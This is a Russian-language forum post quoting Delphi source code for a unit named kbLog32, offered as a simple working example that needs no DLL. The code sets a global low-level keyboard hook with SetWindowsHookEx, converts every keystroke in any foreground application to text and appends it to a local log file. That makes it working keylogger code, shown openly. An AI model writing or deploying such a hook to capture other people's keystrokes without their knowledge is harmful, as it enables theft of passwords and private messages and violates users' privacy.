Взято из темы
По умолчанию Консоль поверх других программ
Цитата:
Вот вам простой пример работающий без DLL (правда только в WINNT)
|
Код:
unit kbLog32;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,TFilerSrc, StdCtrls;
const WH_KEYBOARD_LL = 13; crlf = #$0D#$0A;
type
TKBDLLHOOKSTRUCT = packed record
vkCode :DWORD;
scanCode :DWORD;
flags :DWORD;
time :DWORD;
dwExtraInfo :pointer;
end;
PKBDLLHOOKSTRUCT = ^TKBDLLHOOKSTRUCT;
TKbdFrm = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
KbdFrm: TKbdFrm;
kHook : cardinal;
Filer : TFileManager;
implementation
{$R *.dfm}
function GetChar(lparam: integer): string;
var
data : PKBDLLHOOKSTRUCT;
keystate: TKeyboardState;
retcode: Integer;
l : hkl;
begin
data := pointer(lparam);
GetKeyboardState(keystate);
l :=GetKeyBoardLayout(GetWindowThreadProcessId( GetForegroundWindow ));
SetLength(Result, 2) ;
retcode := ToAsciiEx(data.vkCode,data.scanCode,keystate, @Result[1],0,l);
case retcode of
0: Result := '';
1: SetLength(Result, 1) ;
else Result := '';
end;
end;
(*==============================================================================================*)
Function sGetLastError:string;
var
err:dword;
buf:pchar;
begin
err:=GetLastError;
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM or FORMAT_MESSAGE_ALLOCATE_BUFFER,nil,err,0,@buf,0,nil);
result:=string(buf);
LocalFree(cardinal(buf));
end;
(*==============================================================================================*)
function KbdProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
begin
if (code < 0) or (code <> HC_ACTION) then result := 0 else
begin
if wParam = wm_keydown then
begin
// запись в файл
Filer.WriteBuf('d:\dia\ownprojects\kLogger\test.txt',PChar(GetChar(lparam)));
// Filer - что то типа "писателя в файлы" =)
end;
if wParam = wm_syskeydown then
begin
// обработай сам если надо
end;
Result:=0;
end;
end;
(*==============================================================================================*)
procedure TKbdFrm.FormCreate(Sender: TObject);
begin
kHook := SetWindowsHookEx(WH_KEYBOARD_LL,@KbdProc,HInstance,0);
if kHook <> INVALID_HANDLE_VALUE then
begin
Filer := TFileManager.Create;
Filer.WriteBuf('d:\dia\ownprojects\kLogger\test.txt','Log started'+crlf);
end ;
end;
(*==============================================================================================*)
procedure TKbdFrm.FormDestroy(Sender: TObject);
begin
if kHook <> INVALID_HANDLE_VALUE then
begin
UnhookWindowsHookEx(kHook);
Filer.WriteBuf('d:\dia\ownprojects\kLogger\test.txt',crlf+'Log finished');
end;
end;
(*==============================================================================================*)
end.